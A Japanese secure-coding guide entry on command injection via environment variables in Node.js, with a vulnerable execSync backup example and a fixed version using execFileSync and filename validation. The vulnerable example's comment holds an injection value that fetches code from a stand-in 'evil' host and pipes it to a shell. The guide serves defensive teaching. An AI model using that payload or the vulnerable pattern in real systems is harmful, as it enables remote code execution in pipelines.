環境変数を通じたコマンドインジェクション

信頼できない環境値を通じたシェルコマンドの挿入

説明

環境変数や実行パスを含む動的な文字列をchild_process.execやexecSyncへ渡すと、シェルが空白、引用符、セミコロン、&&などを解釈します。攻撃者がCI/CD変数、.envファイル、使用するパスを制御できる場合は、コマンドの意味を変えたり追加のコマンドを実行したりするおそれがあります。環境値を使うだけで、その値を攻撃者が制御できるとは限りません。

想定される影響

  • シェルの解釈により追加のコマンドが実行される可能性があります。
  • rmやtarなどの引数を操作され、データを削除・変更されるおそれがあります。
  • CIスクリプトや変数内の悪意のあるコマンドにより、ビルドやデプロイのパイプラインが侵害される可能性があります。
  • 強い権限で実行している場合、認証情報の漏えいや権限昇格につながるおそれがあります。

対処方法

  • 実行ファイルを信頼する絶対パスに固定し、execFile、execFileSync、またはshell: falseを指定したspawnへ引数を配列で分けて渡してください。
  • 環境値の型、許可する文字、長さを検証してください。シェルを使わなくても対象プログラムのオプション解釈は残るため、必要に応じてオプションの終わりを示してください。
  • ファイル名だけを受け付けるか、承認済みのパスへ対応付けてください。パスの正規化と接頭辞の比較だけでは、シンボリックリンクによるディレクトリ外へのアクセスを防げません。
  • 信頼できない利用者がバックアップ先のディレクトリやファイルを変更できないようにし、既存ファイルの上書きとリンクの扱いを定めてください。
  • CI/CD設定と実行環境を保護し、シークレットをログに残さないでください。プロセスの権限と引き継ぐ環境変数を最小限にしてください。

例

変更前

javascript
const cp = require("child_process");

// 環境変数から作ったコマンド文字列をexecSyncに渡す
function makeBackup() {
  const target = process.env.BACKUP_FILE; // 例: "backup.tgz; curl http://evil|sh"
  const cmd = `tar -czf ${target} ./data`;
  cp.execSync(cmd); // シェルの解釈により別のコマンドを実行する危険
}

makeBackup();

変更後

javascript
const cp = require("child_process");
const path = require("path");

// 実行ファイルと引数を分離し、パスを検証
function makeBackupSafe() {
  const baseDir = "/var/backups";
  const rawName = process.env.BACKUP_FILE || "backup.tgz";
  if (!/^[a-zA-Z0-9][a-zA-Z0-9._-]{0,99}$/.test(rawName)) {
    throw new Error("Invalid backup filename");
  }
  const dest = path.resolve(baseDir, rawName);
  if (!dest.startsWith(baseDir + path.sep)) {
    throw new Error("Invalid backup path");
  }
  // シェルを使わず引数を配列で渡す
  cp.execFileSync("/bin/tar", ["-czf", dest, "./data"], { shell: false });
}

makeBackupSafe();

変更前はBACKUP_FILEがシェルコマンドの一部になります。変更後は許可したファイル名だけを受け付け、固定の/bin/tarへ引数を分けて渡します。シェルによる解釈や文字列上のパストラバーサルを制限しますが、ファイルシステムのリンクや上書きは制御しません。信頼できるバックアップ先、対象ファイル、作業ディレクトリを用意し、失敗時の処理も実装してください。

参考資料